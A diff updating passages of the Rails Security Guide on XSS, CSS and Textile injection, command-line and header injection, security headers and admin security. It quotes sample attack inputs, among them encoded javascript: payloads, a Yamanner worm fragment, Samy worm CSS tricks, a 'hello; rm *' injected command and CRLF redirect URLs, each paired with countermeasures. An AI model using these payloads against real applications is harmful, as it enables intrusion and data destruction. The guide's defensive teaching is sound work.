+This returned `"some<script>alert('hello')</script>"`, which makes an attack work. That's why a permitted list approach is better, using the updated Rails 2 method `sanitize()`:
 
 ```ruby
 tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
@@ -762,42 +1011,44 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title))
 
 This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
 
-As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &amp;, &quot;, &lt;, and &gt; by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt;`, and `&gt;`). 
+Both Action View and Action Text build their [sanitization helpers](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html) on top of the [rails-html-sanitizer](https://github.com/rails/rails-html-sanitizer) gem.
+
+As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `html_escape()` (or its alias `h()`) method_ to replace the HTML input characters `&`, `"`, `<`, and `>` by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt;`, and `&gt;`).
 
 ##### Obfuscation and Encoding Injection
 
 Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
 
-```
-<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
+```html
+<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
   &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
 ```
 
-This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
+This example pops up a message box. It will be recognized by the above `sanitize()` filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/). Rails' `sanitize()` method does a good job to fend off encoding attacks.
 
 #### Examples from the Underground
 
 _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._
 
-The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
+The following is an excerpt from the [Js.Yamanner@m Yahoo! Mail worm](https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=12d8d106-1137-4d7c-8bb4-3ea1faec83fa). It appeared on June 11, 2006 and was the first webmail interface worm:
 
-```
+```html
 <img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
   target=""onload="var http_request = false;    var Email = '';
   var IDList = '';   var CRumb = '';   function makeRequest(url, Func, Method,Param) { ...
 ```
 
-The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
+The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why restricted list filters are never complete and why it is hard to allow HTML/JavaScript in a web application.
 
 Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.
 
-In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form.
+In December 2006, 34,000 actual usernames and passwords were stolen in a [MySpace phishing attack](https://www.schneier.com/essays/archives/2006/12/myspace_passwords_ar.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS were used to hide the genuine MySpace content from the page and instead display its own login form.
 
 ### CSS Injection
 
-INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
+INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari, and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._
 
-CSS Injection is explained best by the well-known [MySpace Samy worm](http://namb.la/popular/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.
+CSS Injection is explained best by the well-known [MySpace Samy worm](https://samy.pl/myspace/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm.
 
 MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this:
 
@@ -805,53 +1056,54 @@ MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript
 <div style="background:url('javascript:alert(1)')">
 ```
 
-So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.
+So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy `eval()` function which executes any string as code.
 
 ```html
 <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">
 ```
 
-The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML":
+The `eval()` function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML":
 
-```
+```js
 alert(eval('document.body.inne' + 'rHTML'));
 ```
 
-The next problem was MySpace filtering the word "javascript", so the author used "java&lt;NEWLINE&gt;script" to get around this:
+The next problem was MySpace filtering the word `"javascript"`, so the author used `"java<NEWLINE>script"` to get around this:
 
 ```html
-<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">
+<div id="mycode" expr="alert('hah!')" style="background:url('java↵script:eval(document.all.mycode.expr)')">
 ```
 
 Another problem for the worm's author was the [CSRF security tokens](#cross-site-request-forgery-csrf). Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token.
 
 In the end, he got a 4 KB worm, which he injected into his profile page.
 
-The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
+The [moz-binding](https://securiteam.com/securitynews/5LP051FHPE) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example).
 
 #### Countermeasures
 
-This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
+This example, again, showed that a restricted list filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good permitted CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a permitted CSS filter, if you really need one.
 
 ### Textile Injection
 
-If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
+If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](https://github.com/jgarber/redcloth) is such a language for Ruby, but without precautions, it is also vulnerable to XSS.
 
-For example, RedCloth translates `_test_` to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4:
+For example, RedCloth translates `_test_` to `<em>test<em>`, which makes the
+text italic. However, RedCloth doesn’t filter unsafe html tags by default:
 
 ```ruby
-RedCloth.new('<script>alert(1)</script>').to_html
+RedCloth.new("<script>alert(1)</script>").to_html
 # => "<script>alert(1)</script>"
 ```
 
-Use the :filter_html option to remove HTML which was not created by the Textile processor.
+Use the `:filter_html` option to remove HTML which was not created by the Textile processor.
 
 ```ruby
-RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html
+RedCloth.new("<script>alert(1)</script>", [:filter_html]).to_html
 # => "alert(1)"
 ```
 
-However, this does not filter all HTML, a few tags will be left (by design), for example &lt;a&gt;:
+However, this does not filter all HTML, a few tags will be left (by design), for example `<a>`:
 
 ```ruby
 RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
@@ -860,33 +1112,61 @@ RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
 
 #### Countermeasures
 
-It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
+It is recommended to _use RedCloth in combination with a permitted input filter_, as described in the countermeasures against XSS section.
 
 ### Ajax Injection
 
 NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
 
-If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
+If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the `h()` method.
 
 ### Command Line Injection
 
 NOTE: _Use user-supplied command line parameters with caution._
 
-If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
+If your application has to execute commands in the underlying operating system, there are several methods in Ruby: `system(command)`, `exec(command)`, `spawn(command)` and `` `command` ``. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (`;`) or a vertical bar (`|`).
+
+```ruby
+user_input = "hello; rm *"
+system("/bin/echo #{user_input}")
+# prints "hello", and deletes files in the current directory
+```
 
 A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_.
 
 ```ruby
-system("/bin/echo","hello; rm *")
+system("/bin/echo", "hello; rm *")
 # prints "hello; rm *" and does not delete files
 ```
 
+#### Kernel#open's Vulnerability
+
+`Kernel#open` executes OS command if the argument starts with a vertical bar (`|`).
+
+```ruby
+open("| ls") { |file| file.read }
+# returns file list as a String via `ls` command
+```
+
+Countermeasures are to use `File.open`, `IO.open` or `URI#open` instead. They don't execute an OS command.
+
+```ruby
+File.open("| ls") { |file| file.read }
+# doesn't execute `ls` command, just opens `| ls` file if it exists
+
+IO.open(0) { |file| file.read }
+# opens stdin. doesn't accept a String as the argument
+
+require "open-uri"
+URI("https://example.com").open { |file| file.read }
+# opens the URI. `URI()` doesn't accept `| ls`
+```
 
 ### Header Injection
 
-WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
+WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS, or HTTP response splitting._
 
-HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
+HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie, and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
 
 Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address:
 
@@ -894,7 +1174,7 @@ Besides that, it is _important to know what you are doing when building response
 redirect_to params[:referer]
 ```
 
-What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
+What happens is that Rails puts the string into the `Location` header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:
 
 ```
 http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
@@ -907,9 +1187,9 @@ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tl
 http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
 ```
 
-Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
+Note that `%0d%0a` is URL-encoded for `\r\n` which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first.
 
-```
+```http
 HTTP/1.1 302 Moved Temporarily
 (...)
 Location: http://www.malicious.tld
@@ -917,14 +1197,35 @@ Location: http://www.malicious.tld
 
 So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
 
+#### DNS Rebinding and Host Header Attacks
+
+DNS rebinding is a method of manipulating resolution of domain names that is commonly used as a form of computer attack. DNS rebinding circumvents the same-origin policy by abusing the Domain Name System (DNS) instead. It rebinds a domain to a different IP address and then compromises the system by executing random code against your Rails app from the changed IP address.
+
+It is recommended to use the `ActionDispatch::HostAuthorization` middleware to guard against DNS rebinding and other Host header attacks. It is enabled by default in the development environment, you have to activate it in production and other environments by setting the list of allowed hosts. You can also configure exceptions and set your own response app.
+
+```ruby
+Rails.application.config.hosts << "product.com"
+
+Rails.application.config.host_authorization = {
+  # Exclude requests for the /healthcheck/ path from host checking
+  exclude: ->(request) { request.path.include?("healthcheck") },
+  # Add custom Rack application for the response
+  response_app: -> env do
+    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
+  end
+}
+```
+
+You can read more about it in the [`ActionDispatch::HostAuthorization` middleware documentation](/configuring.html#actiondispatch-hostauthorization)
+
 #### Response Splitting
 
 If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be:
 
-```
+```http
 HTTP/1.1 302 Found [First standard 302 response]
 Date: Tue, 12 Apr 2005 22:09:07 GMT
-Location:
Content-Type: text/html
+Location:Content-Type: text/html
 
 
 HTTP/1.1 200 OK [Second New response created by attacker begins]
@@ -984,76 +1285,417 @@ your application if you are aware of the risk and know how to handle it:
 config.action_dispatch.perform_deep_munge = false
 ```
 
-Default Headers
----------------
+HTTP Security Headers
+---------------------
+
+To improve the security of your application, Rails can be configured to return
+HTTP security headers. Some headers are configured by default; others need to
+be explicitly configured.
+
+### Default Security Headers
+
+By default Rails is configured to return the following response headers. Your
+application returns these headers for every HTTP response.
+
+#### `X-Frame-Options`
+
+The [`X-Frame-Options`][] header indicates if a browser can render the page in a `<frame>`,
+`<iframe>`, `<embed>` or `<object>` tag. This header is set to `SAMEORIGIN` by
+default to allow framing on the same domain only. Set it to `DENY` to deny
+framing at all, or remove this header completely if you want to allow framing on
+all domains.
+
+[`X-Frame-Options`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+
+#### `X-XSS-Protection`
+
+A [deprecated legacy
+header](https://owasp.org/www-project-secure-headers/#x-xss-protection), set to
+`0` in Rails by default to disable problematic legacy XSS auditors.
+
+#### `X-Content-Type-Options`
 
-Every HTTP response from your Rails application receives the following default security headers.
+The [`X-Content-Type-Options`][] header is set to `nosniff` in Rails by default.
+It stops the browser from guessing the MIME type of a file.
+
+[`X-Content-Type-Options`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options
+
+#### `X-Permitted-Cross-Domain-Policies`
+
+This header is set to `none` in Rails by default. It disallows Adobe Flash and
+PDF clients from embedding your page on other domains.
+
+#### `Referrer-Policy`
+
+The [`Referrer-Policy`][] header is set to `strict-origin-when-cross-origin` in Rails by default.
+For cross-origin requests, this only sends the origin in the Referer header. This
+prevents leaks of private data that may be accessible from other parts of the
+full URL, such as the path and query string.
+
+[`Referrer-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy
+
+#### Configuring the Default Headers
+
+These headers are configured by default as follows:
 
 ```ruby
 config.action_dispatch.default_headers = {
-  'X-Frame-Options' => 'SAMEORIGIN',
-  'X-XSS-Protection' => '1; mode=block',
-  'X-Content-Type-Options' => 'nosniff'
+  "X-Frame-Options" => "SAMEORIGIN",
+  "X-XSS-Protection" => "0",
+  "X-Content-Type-Options" => "nosniff",
+  "X-Permitted-Cross-Domain-Policies" => "none",
+  "Referrer-Policy" => "strict-origin-when-cross-origin"
 }
 ```
 
-You can configure default headers in `config/application.rb`.
+You can override these or add extra headers in `config/application.rb`:
 
 ```ruby
-config.action_dispatch.default_headers = {
-  'Header-Name' => 'Header-Value',
-  'X-Frame-Options' => 'DENY'
-}
+config.action_dispatch.default_headers["X-Frame-Options"] = "DENY"
+config.action_dispatch.default_headers["Header-Name"]     = "Value"
 ```
 
-Or you can remove them.
+Or you can remove them:
 
 ```ruby
 config.action_dispatch.default_headers.clear
 ```
 
-Here is a list of common headers:
+### `Strict-Transport-Security` Header
+
+The HTTP [`Strict-Transport-Security`][] (HSTS) response header makes sure the
+browser automatically upgrades to HTTPS for current and future connections.
+
+The header is added to the response when enabling the `force_ssl` option:
+
+```ruby
+config.force_ssl = true
+```
+
+[`Strict-Transport-Security`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
+
+### `Content-Security-Policy` Header
+
+To help protect against XSS and injection attacks, it is recommended to define a
+[`Content-Security-Policy`][] response header for your application. Rails
+provides a DSL that allows you to configure the header.
+
+Define the security policy in the appropriate initializer:
+
+```ruby
+# config/initializers/content_security_policy.rb
+Rails.application.config.content_security_policy do |policy|
+  policy.default_src :self, :https
+  policy.font_src    :self, :https, :data
+  policy.img_src     :self, :https, :data
+  policy.object_src  :none
+  policy.script_src  :self, :https
+  policy.style_src   :self, :https
+  # Specify URI for violation reports
+  policy.report_uri "/csp-violation-report-endpoint"
+end
+```
+
+The globally configured policy can be overridden on a per-resource basis:
+
+```ruby
+class PostsController < ApplicationController
+  content_security_policy do |policy|
+    policy.upgrade_insecure_requests true
+    policy.base_uri "https://www.example.com"
+  end
+end
+```
+
+Or it can be disabled:
+
+```ruby
+class LegacyPagesController < ApplicationController
+  content_security_policy false, only: :index
+end
+```
+
+Use lambdas to inject per-request values, such as account subdomains in a
+multi-tenant application:
+
+```ruby
+class PostsController < ApplicationController
+  content_security_policy do |policy|
+    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
+  end
+end
+```
+
+[`Content-Security-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy
+
+#### Reporting Violations
+
+Enable the [`report-uri`][] directive to report violations to the specified URI:
+
+```ruby
+Rails.application.config.content_security_policy do |policy|
+  policy.report_uri "/csp-violation-report-endpoint"
+end
+```
+
+When migrating legacy content, you might want to report violations without
+enforcing the policy. Set the [`Content-Security-Policy-Report-Only`][]
+response header to only report violations:
+
+```ruby
+Rails.application.config.content_security_policy_report_only = true
+```
+
+Or override it in a controller:
+
+```ruby
+class PostsController < ApplicationController
+  content_security_policy_report_only only: :index
+end
+```
+
+[`Content-Security-Policy-Report-Only`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only
+[`report-uri`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri
+
+#### Adding a Nonce
+
+If you are considering `'unsafe-inline'`, consider using nonces instead. [Nonces
+provide a substantial improvement](https://www.w3.org/TR/CSP3/#security-nonces)
+over `'unsafe-inline'` when implementing a Content Security Policy on top
+of existing code.
+
+```ruby
+# config/initializers/content_security_policy.rb
+Rails.application.config.content_security_policy do |policy|
+  policy.script_src :self, :https
+end
+
+Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
+```
+
+There are a few tradeoffs to consider when configuring the nonce generator.
+Using `SecureRandom.base64(16)` is a good default value, because it will
+generate a new random nonce for each request. However, this method is
+incompatible with [conditional GET caching](caching_with_rails.html#conditional-get-support)
+because new nonces will result in new ETag values for every request. An
+alternative to per-request random nonces would be to use the session id:
+
+```ruby
+Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }
+```
+
+This generation method is compatible with ETags, however its security depends on
+the session id being sufficiently random and not being exposed in insecure
+cookies.
+
+By default, nonces will be applied to `script-src` and `style-src` if a nonce
+generator is defined. `config.content_security_policy_nonce_directives` can be
+used to change which directives will use nonces:
+
+```ruby
+Rails.application.config.content_security_policy_nonce_directives = %w(script-src)
+```
+
+Once nonce generation is configured in an initializer, automatic nonce values
+can be added to script tags by passing `nonce: true` as part of `html_options`:
+
+```html+erb
+<%= javascript_tag nonce: true do -%>
+  alert('Hello, World!');
+<% end -%>
+```
 
-* **X-Frame-Options:** _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
-* **X-XSS-Protection:** _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters)
-* **X-Content-Type-Options:** _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file.
-* **X-Content-Security-Policy:** [A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html)
-* **Access-Control-Allow-Origin:** Used to control which sites are allowed to bypass same origin policies and send cross-origin requests.
-* **Strict-Transport-Security:** [Used to control if the browser is allowed to only access a site over a secure connection](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)
+The same works with `javascript_include_tag` and the `stylesheet_link_tag`:
+
+```html+erb
+<%= javascript_include_tag "script", nonce: true %>
+<%= stylesheet_link_tag "style.css", nonce: true %>
+```
+
+To automatically attach a nonce to `javascript_tag`, `javascript_include_tag`, and
+`stylesheet_link_tag` if the corresponding directives are specified in `config.content_security_policy_nonce_directives`,
+you can set `config.content_security_policy_nonce_auto` to `true`:
+
+```ruby
+Rails.application.config.content_security_policy_nonce_auto = true
+```
+
+This is especially useful for 3rd-party views when using nonce-based source expressions
+in your Content Security Policy.
+
+NOTE: Be mindful of caching. Since the nonce is typically generated per request,
+enabling this may lead to cache fragmentation or stale content if your caching strategy
+doesn't account for dynamic nonces.
+
+Use [`csp_meta_tag`](https://api.rubyonrails.org/classes/ActionView/Helpers/CspHelper.html#method-i-csp_meta_tag)
+helper to create a meta tag "csp-nonce" with the per-session nonce value
+for allowing inline `<script>` tags.
+
+```html+erb
+<head>
+  <%= csp_meta_tag %>
+</head>
+```
+
+This is used by the Rails UJS helper to create dynamically
+loaded inline `<script>` elements.
+
+### `Feature-Policy` Header
+
+NOTE: The `Feature-Policy` header has been renamed to `Permissions-Policy`.
+The `Permissions-Policy` requires a different implementation and isn't
+yet supported by all browsers. To avoid having to rename this
+middleware in the future, we use the new name for the middleware but
+keep the old header name and implementation for now.
+
+To allow or block the use of browser features, you can define a [`Feature-Policy`][]
+response header for your application. Rails provides a DSL that allows you to
+configure the header.
+
+Define the policy in the appropriate initializer:
+
+```ruby
+# config/initializers/permissions_policy.rb
+Rails.application.config.permissions_policy do |policy|
+  policy.camera      :none
+  policy.gyroscope   :none
+  policy.microphone  :none
+  policy.usb         :none
+  policy.fullscreen  :self
+  policy.payment     :self, "https://secure.example.com"
+end
+```
+
+The globally configured policy can be overridden on a per-resource basis:
+
+```ruby
+class PagesController < ApplicationController
+  permissions_policy do |policy|
+    policy.geolocation "https://example.com"
+  end
+end
+```
+
+[`Feature-Policy`]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Feature-Policy
+
+### Cross-Origin Resource Sharing
+
+Browsers restrict cross-origin HTTP requests initiated from scripts. If you
+want to run Rails as an API, and run a frontend app on a separate domain, you
+need to enable [Cross-Origin Resource
+Sharing](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) (CORS).
+
+You can use the [Rack CORS](https://github.com/cyu/rack-cors) middleware for
+handling CORS. If you've generated your application with the `--api` option,
+Rack CORS has probably already been configured and you can skip the following
+steps.
+
+To get started, add the rack-cors gem to your Gemfile:
+
+```ruby
+gem "rack-cors"
+```
+
+Next, add an initializer to configure the middleware:
+
+```ruby
+# config/initializers/cors.rb
+Rails.application.config.middleware.insert_before 0, Rack::Cors do
+  allow do
+    origins "example.com"
+
+    resource "*",
+      headers: :any,
+      methods: [:get, :post, :put, :patch, :delete, :options, :head]
+  end
+end
+```
+
+Intranet and Admin Security
+---------------------------
+
+Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.
+
+In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" website of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.
+
+### Cross-Site Scripting
+
+If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
+Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
+Refer to the Injection section for countermeasures against XSS.
+
+### Cross-Site Request Forgery
+
+Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
+A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake website and had their credentials stolen.
+
+Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.
+
+Another popular attack is to spam your web application, your blog, or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
+For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
+
+### Additional Precautions
+
+The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+* It is very important to _think about the worst case_: What if someone really got hold of your cookies or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
+
+* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+* _Put the admin interface to a special subdomain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
 
 Environmental Security
 ----------------------
 
-It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, master key for `credentials.yml`, and other unencrypted secrets. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information.
+
+### Custom Credentials
 
-### Custom secrets
+Rails stores secrets in `config/credentials.yml.enc`, which is encrypted and hence cannot be edited directly. Rails uses `config/master.key` or alternatively looks for the environment variable `ENV["RAILS_MASTER_KEY"]` to encrypt the credentials file. Because the credentials file is encrypted, it can be stored in version control, as long as the master key is kept safe.
 
-Rails generates a `config/secrets.yml`. By default, this file contains the
-application's `secret_key_base`, but it could also be used to store other
-secrets such as access keys for external APIs.
+By default, the credentials file contains the application's
+`secret_key_base`. It can also be used to store other secrets such as access keys for external APIs.
 
-The secrets added to this file are accessible via `Rails.application.secrets`.
-For example, with the following `config/secrets.yml`:
